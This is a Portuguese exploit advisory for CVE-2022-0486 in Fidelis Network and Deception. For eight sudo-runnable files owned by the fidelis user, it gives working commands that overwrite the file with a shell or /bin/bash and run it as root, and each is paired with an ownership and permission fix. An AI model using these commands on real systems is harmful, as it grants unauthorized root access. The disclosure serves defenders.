
Fidelis Network and Deception - Escalação de Privilégios por Permissões de Arquivo Inseguras - Múltiplas
Todos os exploits foram aprovados para divulgação pública pelo Governo dos Estados Unidos. Agradecimentos especiais aos militares e representantes do governo encarregados de aprovar a documentação para distribuição ilimitada. Consulte os seguintes números de OTR:
Data: 20220517 2005H UTC
Autor do Exploit: Henry Reed, The Aerospace Corporation
Página inicial do fornecedor: https://fidelissecurity.com/
Versões afetadas:
Testado em:
CVE: CVE-2022-0486
Descrição do CVE: Permissões de arquivo incorretas nos componentes CommandPost, Collector, Sensor e Sandbox do Fidelis Network and Deception permitem que um atacante com acesso local e administrativo à CLI modifique arquivos afetados e possibilite a escalada de privilégios equivalentes ao usuário root. A vulnerabilidade está presente nas versões do Fidelis Network and Deception anteriores a 9.4.5. Patches e atualizações estão disponíveis para corrigir esta vulnerabilidade.
Existem vários exploits sob este CVE, já que o CVE cobre uma série de permissões de arquivo incorretas. Todos os exploits se devem a uma permissão NOPASSWD e a várias permissões sudoers com exigência de senha concedidas ao usuário fidelis em binários ou scripts que pertencem ao usuário fidelis, permitindo assim que o usuário fidelis modifique arbitrariamente o arquivo. Isso permite a escalada local de privilégios.
Arquivo afetado com NOPASSWD:
Arquivos afetados que exigem senha:
Recomenda-se que os usuários afetados do Fidelis Deception ou Fidelis Network atualizem seu software para corrigir esta vulnerabilidade. Também é recomendado a todos os usuários, independentemente de terem sido afetados por esta vulnerabilidade, desabilitar o acesso via shell aos seus produtos Fidelis após a configuração inicial.
Se, por algum motivo, qualquer uma dessas opções não for possível, uma mitigação para cada arquivo vulnerável está descrita neste documento. Até onde os testes do autor alcançaram, parece que os usuários precisarão usar uma dessas vulnerabilidades para escalar privilégios antes de poderem aplicar as mitigações descritas; portanto, atualizar o Fidelis e desabilitar o SSH é fortemente recomendado.
Testado em:
Permissões de propriedade mal configuradas em /FSS/bin/shutdown.pl permitem que o usuário fidelis escale privilégios equivalentes ao usuário root em vários produtos Fidelis. Por padrão, a configuração do sudoers permite que o usuário fidelis execute /FSS/bin/shutdown.pl como usuário root sem solicitar senha. O arquivo pertence ao usuário fidelis, permitindo que o usuário fidelis modifique arbitrariamente o script e escale privilégios.
$ chmod 700 /FSS/bin/shutdown.pl
$ echo '#!/usr/bin/perl -w' > /FSS/bin/shutdown.pl
$ echo "exec '/bin/sh';" >> /FSS/bin/shutdown.pl
$ cat /FSS/bin/shutdown.pl
#!/usr/bin/perl -w
exec '/bin/sh';
$ sudo /FSS/bin/shutdown.pl
Captura de tela mostrando a descoberta e exploração da vulnerabilidade. Observe a linha NOPASSWD, que indica que o shutdown.pl é um candidato em potencial para escalada de privilégios:

Alterar o usuário e o grupo proprietários de /FSS/bin/shutdown.pl para root:fidelis e permitir apenas permissões de leitura e execução ao grupo proprietário de /FSS/bin/shutdown.pl mitigaria esta vulnerabilidade:

Testado em:
Permissões de propriedade mal configuradas em /FSS/setup/cert_mgmt permitem que o usuário fidelis escale privilégios equivalentes ao usuário root em vários produtos Fidelis. Por padrão, a configuração do sudoers permite que o usuário fidelis execute /FSS/setup/cert_mgmt como usuário root se uma senha for fornecida. O arquivo pertence ao usuário fidelis, permitindo que o usuário fidelis modifique arbitrariamente o script e escale privilégios.
$ chmod u+w /FSS/setup/cert_mgmt
$ cp /bin/bash /FSS/setup/cert_mgmt
$ sudo /FSS/setup/cert_mgmt
Captura de tela mostrando a descoberta e exploração da vulnerabilidade:

Alterar o usuário e o grupo proprietários de /FSS/setup/cert_mgmt para root:fidelis e permitir apenas permissões de leitura e execução ao grupo proprietário de /FSS/setup/cert_mgmt mitigaria esta vulnerabilidade:

Testado em:
Permissões de propriedade mal configuradas em /FSS/bin/db_updater permitem que o usuário fidelis escale privilégios equivalentes ao usuário root no Fidelis CommandPost. Por padrão, a configuração do sudoers permite que o usuário fidelis execute /FSS/bin/db_updater como usuário root se uma senha for fornecida. O arquivo pertence ao usuário fidelis, permitindo que o usuário fidelis modifique arbitrariamente o binário e escale privilégios.
$ chmod u+w /FSS/bin/db_updater
$ cp /bin/bash /FSS/bin/db_updater
$ sudo /FSS/bin/db_updater

Alterar o usuário e o grupo proprietários de /FSS/bin/db_updater para root:fidelis e permitir apenas permissões de leitura e execução ao grupo proprietário de /FSS/bin/db_updater mitigaria esta vulnerabilidade:

Testado em:
Permissões de propriedade mal configuradas em /FSS/deception-manager/bin/deception-manager permitem que o usuário fidelis escale privilégios equivalentes ao usuário root no Fidelis CommandPost. Por padrão, a configuração do sudoers permite que o usuário fidelis execute /FSS/deception-manager/bin/deception-manager como usuário root se uma senha for fornecida. O arquivo pertence ao usuário fidelis, permitindo que o usuário fidelis modifique arbitrariamente o binário e escale privilégios.
$ cp /bin/bash /FSS/deception-manager/bin/deception-manager
$ sudo /FSS/deception-manager/bin/deception-manager
Captura de tela mostrando a descoberta e exploração da vulnerabilidade:

Alterar o usuário e o grupo proprietários de /FSS/deception-manager/bin/deception-manager para root:fidelis e permitir apenas permissões de leitura e execução ao grupo proprietário de /FSS/deception-manager/bin/deception-manager mitigaria esta vulnerabilidade:

Testado em:
Permissões de propriedade mal configuradas em /FSS/sbin/fssdbg.sh permitem que o usuário fidelis escale privilégios equivalentes ao usuário root em vários produtos Fidelis. Por padrão, a configuração do sudoers permite que o usuário fidelis execute /FSS/sbin/fssdbg.sh como usuário root se uma senha for fornecida. O arquivo pertence ao usuário fidelis, permitindo que o usuário fidelis modifique arbitrariamente o script e escale privilégios.
$ chmod u+w /FSS/sbin/fssdbg.sh
$ cp /bin/bash /FSS/sbin/fssdbg.sh
$ sudo /FSS/sbin/fssdbg.sh
Captura de tela mostrando a descoberta e exploração da vulnerabilidade:

Alterar o usuário e o grupo proprietários de /FSS/sbin/fssdbg.sh para root:fidelis e permitir apenas permissões de leitura e execução ao grupo proprietário de /FSS/sbin/fssdbg.sh mitigaria esta vulnerabilidade:

Testado em:
Permissões de propriedade mal configuradas em /FSS/bin/mst permitem que o usuário fidelis escale privilégios equivalentes ao usuário root em vários produtos Fidelis. Por padrão, a configuração do sudoers permite que o usuário fidelis execute /FSS/bin/mst como usuário root se uma senha for fornecida. O arquivo pertence ao usuário fidelis, permitindo que o usuário fidelis modifique arbitrariamente o binário e escale privilégios.
$ chmod u+w /FSS/bin/mst
$ cp /bin/bash /FSS/bin/mst
$ sudo /FSS/bin/mst
Captura de tela mostrando a descoberta e exploração da vulnerabilidade:

Alterar o usuário e o grupo proprietários de /FSS/bin/mst para root:fidelis e permitir apenas permissões de leitura e execução ao grupo proprietário de /FSS/bin/mst mitigaria esta vulnerabilidade. A seguir, uma captura de tela mostrando a mitigação da escalada de privilégios e um trecho da saída do comando mst quando executado por fidelis sem sudo:

Captura de tela mostrando que, mesmo com a mitigação, o comando ainda pode ser executado como sudo pelo usuário fidelis:

Captura de tela mostrando que o mst não pode ser modificado para executar outro código arbitrário quando a mitigação é usada:

Testado em:
Permissões de propriedade mal configuradas em /FSS/bin/setup permitem que o usuário fidelis escale privilégios equivalentes ao usuário root em vários produtos Fidelis. Por padrão, a configuração do sudoers permite que o usuário fidelis execute /FSS/bin/setup como usuário root se uma senha for fornecida. O arquivo pertence ao usuário fidelis, permitindo que o usuário fidelis modifique arbitrariamente o binário e escale privilégios.
$ chmod u+w /FSS/bin/setup
$ cp /bin/bash /FSS/bin/setup
$ sudo /FSS/bin/setup
Captura de tela mostrando a descoberta e exploração da vulnerabilidade:

Alterar o usuário e o grupo proprietários de /FSS/bin/setup para root:fidelis e permitir apenas permissões de leitura e execução ao grupo proprietário de /FSS/bin/setup mitigaria esta vulnerabilidade:

Testado em:
Permissões de propriedade mal configuradas em /FSS/setup/unlock_cp_user.sh permitem que o usuário fidelis escale privilégios equivalentes ao usuário root em vários produtos Fidelis. Por padrão, a configuração do sudoers permite que o usuário fidelis execute /FSS/setup/unlock_cp_user.sh como usuário root se uma senha for fornecida. O arquivo pertence ao usuário fidelis, permitindo que o usuário fidelis modifique arbitrariamente o script e escale privilégios.
$ chmod u+w /FSS/setup/unlock_cp_user.sh
$ cp /bin/bash /FSS/setup/unlock_cp_user.sh
$ sudo /FSS/setup/unlock_cp_user.sh
Captura de tela mostrando a descoberta e exploração da vulnerabilidade:

Alterar o usuário e o grupo proprietários de /FSS/setup/unlock_cp_user.sh para root:fidelis e permitir apenas permissões de leitura e execução ao grupo proprietário de /FSS/setup/unlock_cp_user.sh mitigaria esta vulnerabilidade:
